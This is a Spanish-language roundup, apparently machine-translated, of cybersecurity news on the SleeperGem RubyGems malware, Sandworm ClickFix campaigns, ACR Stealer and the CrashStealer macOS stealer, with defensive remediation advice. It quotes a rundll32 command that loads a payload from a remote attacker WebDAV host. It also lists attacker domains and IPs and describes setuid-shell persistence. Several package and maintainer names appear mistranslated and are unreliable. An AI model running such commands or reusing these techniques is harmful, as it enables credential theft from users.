«Cada lanzamiento malicioso es un cargador», StepSecurity dicho en un análisis. «Obtiene una segunda etapa de un host Forgejo controlado por un atacante, verifica si se está ejecutando en un sistema de compilación y lo omite si lo está, y en una máquina de desarrollo coloca un demonio nativo e instala la persistencia».

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Un aspecto del ataque que se destaca de inmediato es que «git_credential_manager» se hace pasar por el administrador oficial de credenciales Git de Microsoft, mientras que los otros dos habían estado inactivos durante años antes de recibir las actualizaciones maliciosas. «Dendreo» se actualizó por última vez el 24 de octubre de 2020 y «fastlane-plugin-run_tests_firebase_testlab» permaneció inactivo desde el 9 de marzo de 2019, antes de las nuevas versiones.

Otro rasgo definitorio de la actividad es que los lanzamientos se publicaron directamente en el registro sin ningún compromiso o etiqueta coincidente en los proyectos fuente.

Curiosamente, «git_credential_manager» ha sido agregado como una dependencia de cinco paquetes, incluidos «Dendreo» y «fastlane-plugin-run_tests_firebase_testlab», lo que permite efectivamente que la carga maliciosa se propague a los usuarios existentes de los paquetes.

  • dendreo
  • fastlane-plugin-run_tests_firebase_testlab
  • holguraHtmlToMarkdown
  • seo_optimizador
  • métodos_rápidos_array

Todos los paquetes antes mencionados, a excepción de «fastlane-plugin-run_tests_firebase_testlab», se mantienen en la misma cuenta («LR-DEV«). El hecho de que la gema pertenece a un mantenedor diferente («habitación rosa«) indica que es probable que más de una cuenta haya sido comprometida para enviar las versiones no autorizadas a RubyGems.

Una vez instalado, el malware integrado en estos paquetes escanea el sistema infectado en busca de aproximadamente 30 variables de entorno, incluidas las relacionadas con GitHub Actions, GitLab, CircleCI, Travis, Jenkins y Vercel. Si se identifica alguno de ellos, se cierra de inmediato. Se considera que la verificación es un intento intencional de evitar la ejecución en corredores de CI efímeros y garantizar que se ejecute en una máquina de desarrollador.

En el caso de «git_credential_manager», el código malicioso se activa cuando se requiere la biblioteca, lo que provoca que descargue dos cargas útiles desde una instancia pública de Forgejo («git.disroot[.]org/git-ecosystem»): un script de shell («deploy.sh») y un binario nativo que lleva el mismo nombre que la herramienta que disfraza la gema. En Windows, la carga útil recuperada se ejecuta a través de PowerShell.

Mientras que la versión 2.8.2 simplemente prepara las cargas útiles, la versión 2.8.3 de la gema pasa a la siguiente fase del ataque. Esto implica usar el script de instalación para iniciar el binario como un demonio en segundo plano, después de lo cual establece la persistencia usando una entrada cron y como un servicio de usuario systemd y consulta los grupos sudo y wheel.

«Si el usuario puede ejecutar sudo sin contraseña, el script se vuelve a ejecutar como root, y cuando se ejecuta como root coloca una copia raíz setuid del shell del sistema en una ruta elegida para imitar una utilidad de red», dijo StepSecurity.

Se recomienda a los usuarios que hayan instalado cualquiera de las gemas antes mencionadas que traten las máquinas y los secretos asociados como si estuvieran comprometidos. También se recomienda eliminar el demonio eliminado en «~/.local/share/gcm/», borrar los métodos de persistencia, buscar un shell setuid en «/usr/local/sbin/ping6» y rotar todas las credenciales.

«Una cuenta de RubyGems que ha permanecido inactiva durante seis o siete años no parece riesgosa para nadie», Charlie Eriksen, investigador de Aikido Security dicho. «Ese es exactamente el perfil que vale la pena tomar. De ahí proviene el nombre SleeperGem: no es un activo de atacante plantado y de largo plazo, sino una cuenta real y ordinaria que simplemente había quedado inactiva y parecía lo suficientemente inofensiva como para secuestrarla sin que nadie se diera cuenta».

RubyGems como punto muerto de filtración de datos

La divulgación se produce más de dos meses después de que RubyGems detuviera brevemente los registros de cuentas después de que los delincuentes impulsaran docenas de paquetes maliciosos como parte de una campaña coordinada de publicación de spam. Casi al mismo tiempo, los investigadores de Socket señalaron una campaña paralela que inundó el registro con 150 gemas y abusó de ellas como canal de filtración de datos.

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A principios de este mes, Mend.io reveló detalles de un ataque a la cadena de suministro de software no documentado que empleó otro conjunto de 14 paquetes RubyGems para almacenar datos de credenciales robadas.

Específicamente, se descubrió que una extensión de navegador maliciosa recopiló credenciales a través de una API accesible localmente, empaquetó la información en archivos .gem válidos completamente dentro del navegador usando JavaScript y API web estándar, y cargó esos paquetes directamente en RubyGems.org usando una clave API de RubyGems codificada.

«El botín incluyó contraseñas de texto plano, claves privadas SSH, credenciales de AWS, frases iniciales de billeteras criptográficas, números de Seguro Social, números de tarjetas de crédito y detalles de cuentas bancarias en 63 elementos de la bóveda», Maciej Mensfeld dicho.

«RubyGems no era el mecanismo de entrega aquí. Era el punto muerto: un dominio confiable y de alto tráfico donde los datos robados permanecían hasta que el atacante regresaba a buscarlos, invisible entre las cargas normales de los desarrolladores».

UAC-0145 utiliza CAPTCHA de ClickFix para infectar dispositivos ucranianos con malware – CYBERDEFENSA.MX

Se ha observado que actores de amenazas patrocinados por el estado ruso aprovechan la infame estrategia ClickFix para engañar a objetivos ucranianos para que infecten sus propias máquinas con malware de robo de datos.

Según el Equipo de Respuesta a Emergencias Informáticas de Ucrania (CERT-UA), la actividad se ha atribuido a UAC-0145un subgrupo dentro de Sandworm, una unidad de piratería avanzada afiliada a GRU, la principal agencia de inteligencia militar extranjera de Rusia.

En estos ataques, se ha descubierto que los actores de amenazas aprovechan comprobaciones CAPTCHA falsas en sitios web comprometidos que indican a los posibles objetivos que ejecuten un comando de PowerShell en la terminal.

«El comando mencionado, por ejemplo, podría estar destinado a descargar y guardar un archivo VBS en el directorio de ejecución automática de inicio; una de las variantes de dicho programa se llamaba GHETTOVIBE», CERT-UA dicho en una alerta.

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Los ataques también implican el uso de SCOUTCURL, un script de PowerShell que realiza un reconocimiento básico recopilando detalles sobre la máquina infectada. Algunos de los otros programas maliciosos encontrados en los puntos finales infectados son los siguientes:

  • FLUIDLEECH y LOADLOOP, que actúan como cargadores, mientras que el primero se hace pasar por software para eliminar virus informáticos.
  • FREAKYPOLL, una puerta trasera de Python

Se estima que al menos 10 sitios web se vieron comprometidos como parte de esta campaña entre junio y julio de 2026. Además de aprovechar Cloaking.House, un servicio de filtrado de tráfico que permite mostrar diferentes páginas a diferentes visitantes, se descubrió que los atacantes utilizan una herramienta personalizada llamada SMARTAXE para alterar dinámicamente el contenido de una página web según el visitante del sitio y mostrar una verificación CAPTCHA.

El contenido CAPTCHA que se inyectará en la página web emplea el Técnica EtherHiding para recuperar el nombre de dominio del recurso remoto de un contrato inteligente de Ethereum utilizando una dirección especificada en el código fuente.

CERT-UA dijo que también identificó al actor de amenazas que utiliza otras técnicas de ataque para ingresar a los dispositivos, incluido el uso de puertas traseras en dispositivos Android mediante la distribución de archivos APK a través de aplicaciones de mensajería, disfrazándolos de herramientas de seguridad. El malware incrustado en el archivo APK es una puerta trasera con todas las funciones con nombre en código COWARDDUCK que puede recopilar clandestinamente los siguientes detalles:

  • Contactos
  • Archivos que coinciden con ciertas extensiones («.conf», «.json», «.ovpn», «.txt», «.doc», «.docx», «.xls», «.xlsx», «.pptx», «.zip» y «.rar») de los directorios: «DCIM», «Documentos», «Descargas», «Imágenes» y «Alarmas».
  • Geolocalización en tiempo real

Además, el malware utiliza la API del servicio en la nube de Dropbox para cargar archivos, mientras recupera comandos o datos de un servidor externo o de sitios legítimos como steamcommunity.[.]com.

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El uso de ClickFix por parte del equipo de piratería respaldado por el Kremlin marca un cambio con respecto a campañas anteriores que han utilizado instaladores troyanizados para Microsoft Windows u Office que contienen una puerta trasera incorporada o software antivirus falso compartido a través de la aplicación de mensajería Signal.

La divulgación se produce mientras ClickFix continúa siendo una técnica de ingeniería social eficaz para la distribución de malware en todo el panorama de amenazas cibernéticas, y los delincuentes la aprovechan para distribuir OXLOADER, Mistic, SCMBANKER, ClickLock Stealer, TELEPUZ y ACR Stealer.

ACR Stealer utiliza señuelos ClickFix para robar tokens del navegador y archivos de Microsoft 365 – CYBERDEFENSA.MX

ACR Stealer, un ladrón de información en circulación desde 2024, está saliendo de las redes empresariales con contraseñas de navegador guardadas, tokens de sesión en vivo, archivos PDF, documentos de Microsoft 365 y archivos de carpetas sincronizadas de OneDrive y SharePoint.

Entra porque alguien pegó un comando en un cuadro Ejecutar y presionó Enter. microsoft establecido dos de las cadenas de entrega el jueves. Su equipo Defender Experts, el brazo de detección administrado de la compañía, había observado el aumento de la actividad de ACR Stealer en los entornos de los clientes desde finales de abril hasta mediados de junio, y dice que las campañas están «utilizando con éxito señuelos ClickFix para robar credenciales de navegador, tokens de autenticación y documentos confidenciales».

Ambas cadenas se abren con el mismo mensaje y luego se dividen: una deja rastros en el disco, la otra se ejecuta casi por completo en la memoria. La guía de remediación de Microsoft les dice a las víctimas que revoquen los tokens, no solo que roten las contraseñas.

Una carga útil en los píxeles

El mensaje probablemente llegue a través de publicidad maliciosa o resultados de búsqueda manipulados por SEO, según el informe. La cadena sin archivos comienza cuando se genera el comando pegado mshta.exe para extraer contenido HTA remoto. Un cargador de VBScript integrado se apoya en objetos COM para decodificar y activar PowerShell; esa etapa genera una identificación de víctima, deshabilita la validación de certificados y ejecuta lo que recupera en la memoria.

Lo que recupera es un JPEG de un servidor de imágenes, con la carga útil en los píxeles. Las rutinas personalizadas lo crean, lo descifran, lo descomprimen y lo ejecutan de manera reflexiva. Luego va por Chrome y Edge, leyendo el Login Data y Web Data bases de datos e invocar DPAPI para descifrar las contraseñas, cookies y tokens que contienen. Los archivos PDF en el escritorio y en Descargas también van.

El 26 de mayo, Brad Duncan, responsable del SANS Internet Storm Center documentó una infección de Windows rastreó hasta una página que se hacía pasar por Claude, el asistente de inteligencia artificial de Anthropic, a la que se accedía a través de anuncios maliciosos de Google y que a menudo se escondía detrás sites.google.com URL. La página ofrecía instrucciones de macOS cuando se abría en una Mac y instrucciones de Windows cuando se abría en Windows.

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Microsoft nunca nombra el señuelo. Dos de los indicadores de su tabla de la Campaña 2, creativecommunityinfo[.]art y enhanceblabber[.]ccfiguran como host de carga útil y C2. The Hacker News comparó ambos con la cadena de Duncan, que recorría los subdominios de cada uno siete semanas antes, y el informe de Microsoft cita su diario entre las referencias.

Esa cadena también sacó un JPEG de 628 KB de ImgBB, un servicio de alojamiento de imágenes. Lo marcó como parte de la infección y no obtuvo nada: «tampoco pude encontrar ningún signo evidente de datos incrustados».

canario rojo había registrado señuelos de la marca Claude un mes antes, entregando ACR Stealer a través de páginas falsas de Claude Code en GitLab, como claude-desktop[.]gitlab[.]io.

La otra cadena deja huellas

La primera cadena de Microsoft escribe en el disco, lo que deja a los defensores más con qué trabajar. El comando pegado extrae una DLL directamente de un recurso compartido WebDAV a través de HTTPS, utilizando un directorio GUID y un nombre de archivo creado para pasar como otra cosa; el ejemplo del informe es google.ct.

Red Canary publicó la misma forma en su informe de mayo, a partir de la telemetría de abril, semanas antes del artículo de Microsoft:

"C:\Windows\system32\rundll32.exe" \\sphere-api.dialectosphere.in[.]net\05fe317c-0981-4de2-bc8a-930d369db441\ck-3d80df5d12cdfe6450a782fc87bf66b444.google,#1

Dos de las tres variantes que Defender Experts vio utilizar pushd Primero debe montar el recurso compartido remoto como una unidad local temporal, de modo que la carga útil se ejecute a través de lo que parece una ruta local. El más sigiloso envuelve eso en conhost.exe --headless para cerrar la ventana de la consola y oculta las cadenas para pushd, rundll32y el host remoto detrás de la expansión retrasada de las variables de entorno.

Lo que sigue es PowerShell ofuscado. Coloca un ZIP en una carpeta debajo %LocalAppData%\Temp con un nombre inofensivo; El ejemplo de Microsoft es LogiOptionsPlus. un paquete pythonw.exe luego inicia el script Python, por lo que no aparece nada en la pantalla. El instalador borra las copias más antiguas antes de realizar la instalación, lo que lo convierte en un actualizador.

Persiste a través de una tarea programada oculta que se hace pasar por una actualización de software, copia marcas de tiempo notepad.exe en sus propios archivos y borra el historial de PowerShell detrás de él. La última etapa permanece en la memoria y se ejecuta a través de la API de Windows Fiber.

En un subconjunto de estas intrusiones, un segundo cargador de Python se comunica con los puntos finales RPC públicos de blockchain y la infraestructura de nodos Web3, probablemente extrayendo una carga útil o una dirección C2 de un libro de contabilidad público. Microsoft llama a la técnica EtherHiding: coloque el puntero en un contrato inteligente y no quedará ningún solucionador controlado por el atacante que aprovechar.

Sin errores, sin números

Ninguna cadena explota una vulnerabilidad. Ambos heredan exactamente lo que el usuario que inició sesión ya tiene, y cada capa posterior, el montaje WebDAV, la extracción de píxeles y la transferencia en memoria, solo se ejecuta porque una persona leyó un mensaje y presionó Enter. No hay CVE en esta historia. La aplicación de parches no elimina la ruta de pegar y ejecutar.

Microsoft dice que los señuelos están funcionando, pero nunca lo cuantifica. El informe no proporciona un recuento de víctimas, ni un número de clientes afectados, ni una base de referencia para el aumento que informa.

La telemetría de abril de Red Canary al menos tiene números. ClearFake, un clúster de inyección web que ha estado alimentando a ACR Stealer desde al menos marzo de 2025, ocupó el puesto número uno en su lista de amenazas más frecuentes por primera vez ese mes, y ACR Stealer entró entre los diez primeros empatando en el sexto lugar.

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El clúster se entrega a través de JavaScript inyectado en sitios comprometidos y el informe de Microsoft no lo menciona en ninguna de las cadenas.

¿De quién es este ladrón?

Microsoft tiene cuidado con lo que afirma. Vincula la actividad con ACR Stealer según el comportamiento observado y el arte posterior a la explotación, se compara con lo que se sabe públicamente sobre la infraestructura de la familia y no nombra ningún actor de amenaza. La precaución se gana.

ACR, también escrito como AcridRain, fue comercializado en foros de habla rusa por un actor conocido como SheldIO, que cerró las ventas en julio de 2024. Las cuentas se dividieron sobre lo que sucedió después. eSentire dice que el código fuente se vendió. El relato de Proofpoint difiere: el mismo canal de Telegram anunció el cierre, no un adiós del equipo, y el panel de Amatera apareció cinco meses después.

En cuanto al cambio de marca, están de acuerdo. Punto de prueba reportado en junio de 2025 que «ACR Stealer fue significativamente actualizado y renombrado como Amatera Stealer», con un precio de $199 por mes a $1,499 por año. Red Canary trata a ACR y Amatera como una familia y evalúa al propio ACR como un GrMsk Stealer actualizado.

Una detección de julio de 2026 denominada ACR Stealer es una llamada de comportamiento en una base de código cuyo nombre ha cambiado al menos una vez y puede haber cambiado de propietario. La etiqueta describe el código. No te dice quién lo dirige.

donde detenerlo

Un control se encuentra antes de cada técnica anterior: ninguna cadena se ejecuta sin que un usuario pegue un comando en el cuadro de diálogo Ejecutar.

  • Corta el vector. eSentire recomienda eliminar el mensaje Ejecutar a través de GPO y bloquear mshta.exe a través de AppLocker o WDAC.
  • Utilice reglas de control de aplicaciones y reducción de la superficie de ataque para que PowerShell, Python, mshta.exey rundll32.exe no puede iniciar contenido entregado por Internet desde Downloads, Tempo %LocalAppData%.
  • Caza rundll32.exe ejecutándose sin parámetros de línea de comando mientras se establece una conexión de red, que es la oportunidad de detección de Red Canary para esta familia. Agregue tareas programadas que se hacen pasar por actualizaciones de software, tiempos de espera y borrado del historial de PowerShell.
  • En un host sospechoso, aísle, rote credenciales, revoque tokens y verifique las conexiones salientes a recursos compartidos remotos y servicios de alojamiento de imágenes.

Microsoft envió tres consultas de búsqueda de Defender XDR y 16 dominios de campaña con el informe.

Esos indicadores son una porción, y el informe así lo dice: representativos, no el rango completo de la familia, con más campañas e infraestructura probablemente activas. Los dominios rotan. La pregunta en el frente no, porque funciona. Los señuelos se superponen en lugar de reemplazarse: Red Canary vio CAPTCHA falsos y páginas de Claude falsas en la misma telemetría de abril.

El malware CrashStealer para macOS utiliza un cuentagotas notariado para pasar las comprobaciones del guardián – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han detectado un nuevo ladrón de información de macOS llamado Crash Stealer que es capaz de recopilar datos confidenciales de sistemas comprometidos.

A diferencia de otros ladrones de información que se basan en droppers de AppleScript o envoltorios basados ​​en Objective-C, CrashStealer se implementa en C++ nativo, según Jamf Threat Labs.

«Valida la contraseña de inicio de sesión de la víctima localmente antes de recolectarla, la recopila ampliamente en navegadores, billeteras de criptomonedas, administradores de contraseñas y el llavero, cifra lo que recopila con AES-GCM antes de filtrarlo a través de libcurl y persiste copiándose y volviendo a firmar», investigador de seguridad Thijs Xhaflaire dicho en un informe compartido con The Hacker News.

Se dice que CrashStealer se distribuye mediante un cuentagotas firmado y certificado por Apple que se distribuye como un archivo de imagen de disco llamado «Werkbit.app». Debido a que tanto la imagen del disco como el binario están certificados ante notario y llevan una identificación de desarrollador válida («Emil Grigorov (WWB7JA7AQV)»), pasa las comprobaciones de Gatekeeper.

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La propia imagen del disco se origina en el dominio «werkbit[.]io», que se registró en junio de 2026. En un giro interesante, la descarga se bloquea detrás de un PIN de reunión, lo que significa que el instalador se entrega solo a aquellos visitantes del sitio que llegan con el código correcto y no a todos.

El descubrimiento de dominios adicionales e infraestructura de backend compartida vinculada a la misma operación apunta a que CrashStealer es parte de una campaña multiplataforma más grande.

Una vez montada, la imagen del disco presenta al usuario una pantalla de configuración de la instalación que le indica que haga clic derecho en la aplicación y elija «Abrir» para que la ejecute. Una vez iniciado, el ejecutable «veltod» contacta un repositorio de GitHub («github.com/mgothiclove») para recuperar un archivo llamado «sys.cache».

Luego, el archivo se usa para extraer un comando curl y extraer un script de shell, que actúa como un descargador para buscar y preparar la siguiente carga útil («CrashReporter.dmg») y la guarda en el directorio «/tmp».

El malware, tras su ejecución, establece persistencia como LaunchAgent, resiste el análisis, presenta una solicitud de contraseña y valida la credencial ingresada localmente, desbloquea el llavero de inicio de sesión usando la contraseña validada, enumera las herramientas de seguridad y análisis instaladas, antes de proceder a recopilar datos del navegador, extensiones de billetera de criptomonedas, datos del administrador de contraseñas y material del llavero.

La lista completa de datos recopilados se encuentra a continuación:

  • Credenciales de navegadores de la familia Chromium, incluidos Google Chrome, Brave, Microsoft Edge, Opera y Opera GX, Vivaldi, Chromium y Naver Whale
  • Aproximadamente 80 extensiones de billeteras de criptomonedas, incluidas MetaMask, Phantom, Coinbase, Trust Wallet, Rabby, OKX Wallet, Exodus, Keplr, Solflare y Backpack.
  • 14 administradores de contraseñas, incluidos 1Password, Bitwarden, LastPass, Dashlane, Keeper, KeePassXC, NordPass, Enpass y RoboForm
  • Archivo de los directorios ~/Documentos y ~/Descargas
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Los datos recopilados luego se empaquetan en un archivo ZIP y se extraen a un servidor controlado por el atacante («179.43.166[.]242»).

«La cadena de entrega de CrashStealer muestra un verdadero cuidado: en lugar de un señuelo simple y sin firmar, los operadores enfrentan el ataque con un cuentagotas firmado y notariado que limpia Gatekeeper antes de buscar, volver a firmar y lanzar silenciosamente la carga útil», dijo Jamf.

«Lo que lo distingue de la multitud de ladrones de productos básicos es menos lo que recopila sino cómo se construye: cifrado AES-GCM del lado del cliente de los archivos recopilados y un énfasis en la resistencia al análisis a través del aplanamiento del flujo de control, cadenas cifradas y antidepuración en capas».